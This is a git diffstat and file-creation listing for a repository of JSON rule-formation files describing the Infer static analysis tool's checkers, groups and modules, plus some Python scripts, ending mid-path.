.../checkers/backend/InferAnalyze.json | 13 + .../checkers/backend/Issue.json | 13 + .../checkers/backend/LineageTaint.json | 13 + .../checkers/backend/NodePrinter.json | 13 + .../checkers/backend/Payloads.json | 13 + .../checkers/backend/ProcLocker.json | 13 + .../checkers/backend/Procedures.json | 13 + .../checkers/backend/ReactiveCapture.json | 13 + .../checkers/backend/ReplayScheduler.json | 13 + .../checkers/backend/RestartScheduler.json | 13 + .../checkers/backend/SourceFileGraph.json | 13 + .../backend/StarvationGlobalAnalysis.json | 13 + .../checkers/backend/Summary.json | 13 + .../checkers/backend/SyntacticCallGraph.json | 13 + .../checkers/backend/callbacks.json | 13 + .../checkers/backend/ondemand.json | 13 + .../checkers/backend/preanal.json | 13 + .../checkers/backend/printer.json | 13 + .../checkers/backend/registerCheckers.json | 13 + .../bufferoverrun/BiabductionProp.json | 13 + .../bufferoverrun/BufferOverrunAnalysis.json | 9 +- .../bufferoverrun/BufferOverrunChecker.json | 9 +- .../checkers/bufferoverrun/FuncPtr.json | 13 + .../checkers/bufferoverrun/absLoc.json | 13 + .../checkers/bufferoverrun/arrayBlk.json | 13 + .../checkers/bufferoverrun/boolean.json | 13 + .../checkers/bufferoverrun/bounds.json | 13 + .../bufferOverrunAnalysisSummary.json | 13 + .../bufferOverrunCheckerSummary.json | 13 + .../bufferoverrun/bufferOverrunDomain.json | 13 + .../bufferoverrun/bufferOverrunField.json | 13 + .../bufferoverrun/bufferOverrunModels.json | 13 + .../bufferOverrunOndemandEnv.json | 13 + .../bufferOverrunProofObligations.json | 13 + .../bufferoverrun/bufferOverrunSemantics.json | 13 + .../bufferoverrun/bufferOverrunTrace.json | 13 + .../bufferoverrun/bufferOverrunTypModels.json | 13 + .../bufferoverrun/bufferOverrunUtils.json | 13 + .../checkers/bufferoverrun/ints.json | 13 + .../checkers/bufferoverrun/itv.json | 13 + .../checkers/bufferoverrun/polynomials.json | 13 + .../checkers/bufferoverrun/symb.json | 13 + .../checkers/AnnotationReachability.json | 10 +- .../checkers/ComputeCapturedInfo.json | 13 + .../checkers/checkers/DisjunctiveDemo.json | 6 +- .../checkers/ExternalConfigImpactData.json | 13 + .../checkers/checkers/Impurity.json | 10 +- .../checkers/InefficientKeysetIterator.json | 8 +- .../checkers/checkers/Lineage.json | 6 +- .../checkers/checkers/LineageBase.json | 13 + .../checkers/checkers/LineageShape.json | 6 +- .../checkers/checkers/LithoDomain.json | 13 + .../checkers/checkers/Liveness.json | 8 +- .../checkers/ParameterNotNullChecked.json | 6 +- .../checkers/checkers/PurityAnalysis.json | 7 +- .../checkers/checkers/PurityChecker.json | 7 +- .../checkers/checkers/RequiredProps.json | 13 + .../checkers/checkers/SILValidation.json | 8 +- .../checkers/checkers/SIOF.json | 8 +- .../checkers/checkers/ScopeLeakage.json | 8 +- .../checkers/checkers/SelfInBlock.json | 6 +- .../checkers/checkers/SiofDomain.json | 13 + .../checkers/checkers/SiofTrace.json | 13 + .../StaticConstructorStallChecker.json | 6 +- .../checkers/checkers/addressTaken.json | 13 + .../annotationReachabilityDomain.json | 13 + .../checkers/checkers/control.json | 13 + .../checkers/checkers/dominators.json | 13 + .../checkers/fragmentRetainsViewChecker.json | 13 + .../checkers/checkers/impurityDomain.json | 13 + .../checkers/checkers/loopInvariant.json | 13 + .../checkers/checkers/loop_control.json | 13 + .../checkers/checkers/purityDomain.json | 13 + .../checkers/checkers/purityModels.json | 13 + .../checkers/checkers/reachingDefs.json | 13 + .../clang/CAddImplicitDeallocImpl.json | 13 + .../clang/CAddImplicitGettersSetters.json | 13 + .../checkers/clang/CMethodProperties.json | 13 + .../checkers/clang/CMockPointerSubst.json | 13 + .../clang/CReplaceDynamicDispatch.json | 13 + .../checkers/clang/CStructUtils.json | 13 + .../Rule formation/checkers/clang/CType.json | 13 + .../checkers/clang/CType_decl.json | 13 + .../clang/CViewControllerLifecycle.json | 13 + .../checkers/clang/Capture.json | 13 + .../checkers/clang/ClangCommand.json | 13 + .../checkers/clang/ClangFrontendStubs.json | 13 + .../checkers/clang/ClangPointers.json | 13 + .../checkers/clang/ClangQuotes.json | 13 + .../checkers/clang/ClangWrapper.json | 13 + .../checkers/clang/CppLambdaCalls.json | 13 + .../checkers/clang/SwitchCase.json | 13 + .../checkers/clang/ast_expressions.json | 13 + .../checkers/clang/cArithmetic_trans.json | 13 + .../checkers/clang/cAst_utils.json | 13 + .../checkers/clang/cContext.json | 13 + .../checkers/clang/cEnum_decl.json | 13 + .../checkers/clang/cField_decl.json | 13 + .../checkers/clang/cFrontend.json | 13 + .../checkers/clang/cFrontend_config.json | 13 + .../checkers/clang/cFrontend_decl.json | 13 + .../checkers/clang/cFrontend_errors.json | 13 + .../checkers/clang/cGeneral_utils.json | 13 + .../checkers/clang/cLocation.json | 13 + .../checkers/clang/cMethodSignature.json | 13 + .../checkers/clang/cMethod_trans.json | 13 + .../checkers/clang/cModule_type.json | 13 + .../Rule formation/checkers/clang/cScope.json | 13 + .../Rule formation/checkers/clang/cTrans.json | 13 + .../checkers/clang/cTrans_models.json | 13 + .../checkers/clang/cTrans_utils.json | 13 + .../checkers/clang/cType_to_sil_type.json | 13 + .../checkers/clang/cVar_decl.json | 13 + .../checkers/clang/clang_ast_extend.json | 13 + .../checkers/clang/objcCategory_decl.json | 13 + .../checkers/clang/objcInterface_decl.json | 13 + .../checkers/clang/objcMethod_decl.json | 13 + .../checkers/clang/objcProtocol_decl.json | 13 + .../checkers/concurrency/AbstractAddress.json | 13 + .../concurrency/ConcurrencyUtils.json | 13 + .../checkers/concurrency/IssueAuxData.json | 13 + .../checkers/concurrency/RacerDDomain.json | 13 + .../concurrency/RacerDFileAnalysis.json | 13 + .../checkers/concurrency/RacerDModels.json | 13 + .../concurrency/RacerDProcAnalysis.json | 13 + .../checkers/concurrency/Starvation.json | 9 +- .../concurrency/StarvationModels.json | 13 + .../concurrency/starvationDomain.json | 13 + .../checkers/cost/ConfigImpactAnalysis.json | 7 +- .../Rule formation/checkers/cost/Cost.json | 10 +- .../checkers/cost/boundMap.json | 13 + .../checkers/cost/constraintSolver.json | 13 + .../checkers/cost/controlFlowCost.json | 13 + .../checkers/cost/costAllocationModels.json | 13 + .../checkers/cost/costDomain.json | 13 + .../checkers/cost/costInstantiate.json | 13 + .../checkers/cost/costModels.json | 13 + .../checkers/cost/costUtils.json | 13 + .../checkers/cost/hoisting.json | 62 +++++ .../checkers/erlang/ErlangAst.json | 13 + .../checkers/erlang/ErlangAstValidator.json | 13 + .../checkers/erlang/ErlangBlock.json | 13 + .../checkers/erlang/ErlangEnvironment.json | 13 + .../checkers/erlang/ErlangJsonParser.json | 13 + .../checkers/erlang/ErlangNode.json | 13 + .../checkers/erlang/ErlangScopes.json | 13 + .../checkers/erlang/ErlangTranslator.json | 13 + .../checkers/erlang/ErlangTypes.json | 13 + .../inferppx-tests/AbsDomainInlinedCode.json | 13 + .../inferppx-tests/AbsDomainTests.json | 13 + .../inferppx-tests/HashNormInlinedCode.json | 13 + .../inferppx-tests/HashNormTests.json | 13 + .../checkers/inferppx/AbsDomain.json | 13 + .../checkers/inferppx/Common.json | 13 + .../checkers/inferppx/Hashnorm.json | 13 + .../checkers/inferppx/StatsPpx.json | 13 + .../checkers/integration/Ant.json | 13 + .../checkers/integration/Bitcode.json | 13 + .../checkers/integration/Buck.json | 13 + .../checkers/integration/BxlCapture.json | 13 + .../CaptureCompilationDatabase.json | 13 + .../integration/CaptureManipulation.json | 13 + .../checkers/integration/CaptureSILJson.json | 13 + .../checkers/integration/Clang.json | 13 + .../integration/CompilationDatabase.json | 13 + .../integration/ConfigImpactIssuesTest.json | 13 + .../integration/ConfigImpactPostProcess.json | 13 + .../checkers/integration/CostIssuesTest.json | 13 + .../checkers/integration/Differential.json | 13 + .../integration/DifferentialFilters.json | 13 + .../checkers/integration/Driver.json | 13 + .../checkers/integration/Erlang.json | 13 + .../checkers/integration/Gradle.json | 13 + .../checkers/integration/Hack.json | 13 + .../checkers/integration/Help.json | 13 + .../InferCommandImplementation.json | 13 + .../checkers/integration/IssuesTest.json | 13 + .../checkers/integration/Javac.json | 13 + .../checkers/integration/JsonReports.json | 13 + .../checkers/integration/Kotlinc.json | 13 + .../checkers/integration/Maven.json | 13 + .../checkers/integration/NdkBuild.json | 13 + .../checkers/integration/Python.json | 13 + .../checkers/integration/ReportDataFlows.json | 13 + .../checkers/integration/ReportDiff.json | 13 + .../checkers/integration/ReportLineage.json | 13 + .../checkers/integration/Rust.json | 13 + .../checkers/integration/SarifReport.json | 13 + .../checkers/integration/StatsDiff.json | 13 + .../checkers/integration/Suppressions.json | 13 + .../checkers/integration/TextReport.json | 13 + .../checkers/integration/TraceBugs.json | 13 + .../checkers/integration/XMLReport.json | 13 + .../checkers/integration/XcodeBuild.json | 13 + .../checkers/integration/mergeCapture.json | 13 + .../Rule formation/checkers/istd/ARList.json | 13 + .../Rule formation/checkers/istd/Escape.json | 13 + .../Rule formation/checkers/istd/GOption.json | 13 + .../checkers/istd/HashNormalizer.json | 13 + .../Rule formation/checkers/istd/HashSet.json | 13 + .../checkers/istd/ICompare.json | 13 + .../checkers/istd/IContainer.json | 13 + .../Rule formation/checkers/istd/IExn.json | 13 + .../checkers/istd/IFilename.json | 13 + .../Rule formation/checkers/istd/IFmt.json | 13 + .../Rule formation/checkers/istd/IInt.json | 13 + .../Rule formation/checkers/istd/IList.json | 13 + .../Rule formation/checkers/istd/IMtime.json | 13 + .../Rule formation/checkers/istd/IMutex.json | 13 + .../Rule formation/checkers/istd/IOption.json | 13 + .../Rule formation/checkers/istd/IResult.json | 13 + .../Rule formation/checkers/istd/ISeq.json | 13 + .../checkers/istd/ISequence.json | 13 + .../Rule formation/checkers/istd/IStd.json | 13 + .../Rule formation/checkers/istd/IString.json | 13 + .../Rule formation/checkers/istd/ISys.json | 13 + .../Rule formation/checkers/istd/IUnix.json | 13 + .../checkers/istd/ImperativeUnionFind.json | 13 + .../checkers/istd/PartialOrder.json | 13 + .../checkers/istd/PhysEqual.json | 13 + .../checkers/istd/PolyVariantEqual.json | 13 + .../Rule formation/checkers/istd/Pp.json | 13 + .../checkers/istd/PrettyPrintable.json | 13 + .../checkers/istd/RecencyMap.json | 13 + .../Rule formation/checkers/istd/RevList.json | 13 + .../checkers/istd/SafeLazy.json | 13 + .../checkers/istd/SpecialChars.json | 13 + .../checkers/istd/UnionFind.json | 13 + .../checkers/java/JavaFrontendStubs.json | 13 + .../checkers/java/jAnnotation.json | 13 + .../checkers/java/jClasspath.json | 13 + .../checkers/java/jContext.json | 13 + .../checkers/java/jFrontend.json | 13 + .../Rule formation/checkers/java/jMain.json | 13 + .../checkers/java/jProgramDesc.json | 13 + .../checkers/java/jSourceAST.json | 13 + .../checkers/java/jSourceLocations.json | 13 + .../Rule formation/checkers/java/jTrans.json | 13 + .../checkers/java/jTransExn.json | 13 + .../checkers/java/jTransType.json | 13 + .../checkers/labs/ResourceLeakDomain.json | 13 + .../checkers/labs/ResourceLeaks.json | 13 + .../checkers/llvm/Llair2Textual.json | 13 + .../checkers/llvm/Llair2TextualProcState.json | 13 + .../checkers/llvm/Llair2TextualType.json | 13 + .../checkers/llvm/LlvmFrontend.json | 13 + .../checkers/llvm/StdUtils.json | 13 + .../checkers/opensource/FbCostModels.json | 13 + .../checkers/opensource/FbGKInteraction.json | 13 + .../checkers/opensource/FbInternalLinks.json | 13 + .../opensource/FbPulseConfigName.json | 13 + .../checkers/opensource/FbPulseModels.json | 13 + .../checkers/opensource/FbThreadSafety.json | 13 + .../checkers/opensource/Scribe.json | 13 + .../Rule formation/checkers/pulse/Pulse.json | 9 +- .../pulse/PulseAbductiveDecompiler.json | 13 + .../checkers/pulse/PulseAbductiveDomain.json | 13 + .../checkers/pulse/PulseAbstractValue.json | 13 + .../checkers/pulse/PulseAccess.json | 13 + .../checkers/pulse/PulseAccessResult.json | 13 + .../checkers/pulse/PulseArithmetic.json | 13 + .../checkers/pulse/PulseAttribute.json | 13 + .../checkers/pulse/PulseAutofix.json | 13 + .../pulse/PulseBaseAddressAttributes.json | 13 + .../checkers/pulse/PulseBaseDomain.json | 13 + .../checkers/pulse/PulseBaseMemory.json | 13 + .../checkers/pulse/PulseBaseStack.json | 13 + .../checkers/pulse/PulseBasicInterface.json | 13 + .../checkers/pulse/PulseCItv.json | 13 + .../checkers/pulse/PulseCallEvent.json | 13 + .../checkers/pulse/PulseCallOperations.json | 13 + .../checkers/pulse/PulseCanonValue.json | 13 + .../checkers/pulse/PulseCheapCopyTypes.json | 13 + .../checkers/pulse/PulseContext.json | 13 + .../checkers/pulse/PulseDecompiler.json | 13 + .../checkers/pulse/PulseDecompilerExpr.json | 13 + .../checkers/pulse/PulseDiagnostic.json | 13 + .../checkers/pulse/PulseDomainInterface.json | 13 + .../checkers/pulse/PulseExecutionDomain.json | 13 + .../checkers/pulse/PulseFormula.json | 13 + .../checkers/pulse/PulseInterproc.json | 13 + .../checkers/pulse/PulseInvalidation.json | 13 + .../checkers/pulse/PulseJoin.json | 13 + .../checkers/pulse/PulseLatentIssue.json | 13 + .../checkers/pulse/PulseLoadInstrModels.json | 13 + .../checkers/pulse/PulseModels.json | 13 + .../checkers/pulse/PulseModelsAndroid.json | 13 + .../checkers/pulse/PulseModelsC.json | 13 + .../checkers/pulse/PulseModelsCSharp.json | 13 + .../checkers/pulse/PulseModelsCpp.json | 13 + .../checkers/pulse/PulseModelsDSL.json | 13 + .../checkers/pulse/PulseModelsErlang.json | 13 + ...lseModelsGenericArrayBackedCollection.json | 13 + .../checkers/pulse/PulseModelsHack.json | 13 + .../checkers/pulse/PulseModelsImport.json | 13 + .../checkers/pulse/PulseModelsJava.json | 13 + .../checkers/pulse/PulseModelsLocks.json | 13 + .../checkers/pulse/PulseModelsObjC.json | 13 + .../checkers/pulse/PulseModelsOptional.json | 13 + .../checkers/pulse/PulseModelsPython.json | 13 + .../pulse/PulseModelsSmartPointers.json | 13 + .../checkers/pulse/PulseMutualRecursion.json | 13 + .../pulse/PulseNonDisjunctiveDomain.json | 13 + .../pulse/PulseNonDisjunctiveOperations.json | 13 + .../checkers/pulse/PulseOperationResult.json | 13 + .../checkers/pulse/PulseOperations.json | 13 + .../checkers/pulse/PulsePathContext.json | 13 + .../checkers/pulse/PulsePp.json | 13 + .../checkers/pulse/PulseRefCounting.json | 13 + .../checkers/pulse/PulseReport.json | 13 + .../checkers/pulse/PulseResult.json | 13 + .../pulse/PulseRetainCycleChecker.json | 13 + .../checkers/pulse/PulseSatUnsat.json | 13 + .../checkers/pulse/PulseSkippedCalls.json | 13 + .../checkers/pulse/PulseSpecialization.json | 13 + .../pulse/PulseSpecializedCallGraph.json | 13 + .../checkers/pulse/PulseSummary.json | 13 + .../checkers/pulse/PulseTaintConfig.json | 13 + .../checkers/pulse/PulseTaintItem.json | 13 + .../checkers/pulse/PulseTaintItemMatcher.json | 13 + .../checkers/pulse/PulseTaintOperations.json | 13 + .../checkers/pulse/PulseTimestamp.json | 13 + .../checkers/pulse/PulseTopl.json | 13 + .../checkers/pulse/PulseTrace.json | 13 + .../pulse/PulseTransitiveAccessChecker.json | 13 + .../checkers/pulse/PulseTransitiveInfo.json | 13 + .../checkers/pulse/PulseUninitBlocklist.json | 13 + .../checkers/pulse/PulseValueHistory.json | 13 + .../checkers/pulse/PulseValueOrigin.json | 13 + .../checkers/pulse/QSafeCapped.json | 13 + .../Rule formation/checkers/pulse/ZSafe.json | 13 + .../Rule formation/checkers/python/FFI.json | 13 + .../Rule formation/checkers/python/PyIR.json | 13 + .../checkers/python/PyIR2Textual.json | 13 + .../checkers/python/PyIRExec.json | 13 + .../checkers/python/PyIRTypeInference.json | 13 + .../checkers/scripts/checkCopyright.json | 13 + .../checkers/sledge/LlvmSledgeFrontend.json | 13 + .../sledge/LlvmSledgeFrontendStubs.json | 13 + .../checkers/textual/LineMap.json | 13 + .../checkers/textual/Textual.json | 13 + .../textual/TextualBasicVerification.json | 13 + .../checkers/textual/TextualDecls.json | 13 + .../checkers/textual/TextualLexer.json | 13 + .../checkers/textual/TextualParser.json | 13 + .../checkers/textual/TextualSil.json | 13 + .../checkers/textual/TextualTransform.json | 13 + .../textual/TextualTypeVerification.json | 13 + .../checkers/textual/TextualVerification.json | 13 + .../checkers/topl/DataFlowQuery.json | 13 + .../Rule formation/checkers/topl/Topl.json | 8 +- .../checkers/topl/ToplAstOps.json | 13 + .../checkers/topl/ToplAutomaton.json | 13 + .../checkers/unknown/FragmentRetainsView.json | 15 - .../checkers/unknown/LithoRequiredProps.json | 15 - .../checkers/unknown/LoopHoisting.json | 16 -- .../checkers/unknown/RacerD.json | 263 ------------------ .../unknown/ResourceLeakLabExercise.json | 15 - .../infer/Rule formation/groups/IR.json | 58 ++++ .../infer/Rule formation/groups/absint.json | 52 ++++ .../infer/Rule formation/groups/atd.json | 8 + .../infer/Rule formation/groups/backend.json | 32 +++ .../infer/Rule formation/groups/base.json | 59 ++++ .../Rule formation/groups/bufferoverrun.json | 23 +- .../infer/Rule formation/groups/checkers.json | 18 ++ .../infer/Rule formation/groups/clang.json | 49 ++++ .../Rule formation/groups/concurrency.json | 11 +- .../infer/Rule formation/groups/cost.json | 11 +- .../infer/Rule formation/groups/erlang.json | 15 + .../Rule formation/groups/inferppx-tests.json | 10 + .../infer/Rule formation/groups/inferppx.json | 10 + .../Rule formation/groups/integration.json | 36 ++- .../infer/Rule formation/groups/istd.json | 39 +++ .../infer/Rule formation/groups/java.json | 18 ++ .../infer/Rule formation/groups/labs.json | 8 + .../infer/Rule formation/groups/llvm.json | 11 + .../Rule formation/groups/opensource.json | 13 + .../infer/Rule formation/groups/pulse.json | 78 +++++- .../infer/Rule formation/groups/python.json | 11 + .../infer/Rule formation/groups/scripts.json | 7 + .../infer/Rule formation/groups/sledge.json | 8 + .../infer/Rule formation/groups/textual.json | 16 ++ .../infer/Rule formation/groups/topl.json | 5 +- .../infer/Rule formation/groups/unit.json | 25 ++ .../infer/Rule formation/main/infer-main.json | 16 +- .../infer/Rule formation/modules/infer-c.json | 10 + .../Rule formation/modules/infer-c_cpp.json | 8 + .../Rule formation/modules/infer-cpp.json | 9 + .../Rule formation/modules/infer-dotnet.json | 6 + .../Rule formation/modules/infer-erlang.json | 9 + .../Rule formation/modules/infer-hack.json | 8 + .../Rule formation/modules/infer-java.json | 10 + .../Rule formation/modules/infer-kotlin.json | 8 + .../Rule formation/modules/infer-modules.json | 13 - .../Rule formation/modules/infer-objc.json | 9 + .../Rule formation/modules/infer-objcpp.json | 8 + .../Rule formation/modules/infer-python.json | 8 + .../Rule formation/modules/infer-sil.json | 9 + .../Rule formation/modules/infer-swift.json | 8 + .../infer/Scripts/infer-checkers.py | 79 ++---- .../infer/Scripts/infer-groups.py | 38 ++- .../infer/Scripts/infer-modules.py | 79 +++--- 509 files changed, 6688 insertions(+), 578 deletions(-) create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/AnalysisGlobalState.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Annot.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Attributes.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BUILTINS.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Binop.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BuiltinDecl.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CSharpClassName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CallFlags.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CapturedVar.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Cfg.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ClangMethodKind.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Const.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Dependencies.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/DotCfg.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ErlangTypeName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Exp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Fieldname.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Filtering.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/FuncArg.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/HackClassName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Ident.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Instrs.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntLit.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntegerWidths.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Io_infer.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/JavaClassName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Mangled.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/MissingDependencies.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ObjCDispatchModels.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ProcAttributes.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procdesc.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procname.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Pvar.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonClassName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonProcname.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/QualifiedCppName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Sil.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SourceFiles.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Specialization.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SpecializedProcname.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/StdTyp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Struct.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Subtype.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SwiftClassName.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Tenv.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Typ.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Unop.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Var.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/WeakTopologicalOrder.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/inferconfig.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/jConfig.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/sourcePrinter.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractDomain.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractInterpreter.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessPath.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessTree.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisCallbacks.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisResult.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisState.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AndroidFramework.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Bindings.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/CallSite.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ConcurrencyModels.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Errlog.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ExplicitTrace.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/FormalMap.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilExp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilInstr.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IdAccessPathMapDomain.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/InterproceduralAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IntraproceduralAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueLog.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueToReport.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Localise.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/LowerHil.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MemoryAccess.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MethodMatcher.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Mleak_buckets.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NoReturnModels.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NullsafeMode.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Passthrough.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/PatternMatch.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcCfg.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcnameDispatcher.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/RecursiveCycleException.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Reporting.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sanitizer.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Scheduler.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sink.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SinkTrace.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Source.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SubtypingCheck.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTrace.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTraceElem.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaskSchedulerTypes.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TransferFunctions.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/annotations.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/exe_env.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/AtdDeps.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/InferCommand.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/AnalysisDependencyGraph.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraph.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraphScheduler.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallbackOfChecker.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Devirtualizer.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/FileScheduler.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/GCStats.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/InferAnalyze.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Issue.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/LineageTaint.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/NodePrinter.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Payloads.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ProcLocker.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Procedures.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReactiveCapture.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReplayScheduler.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule 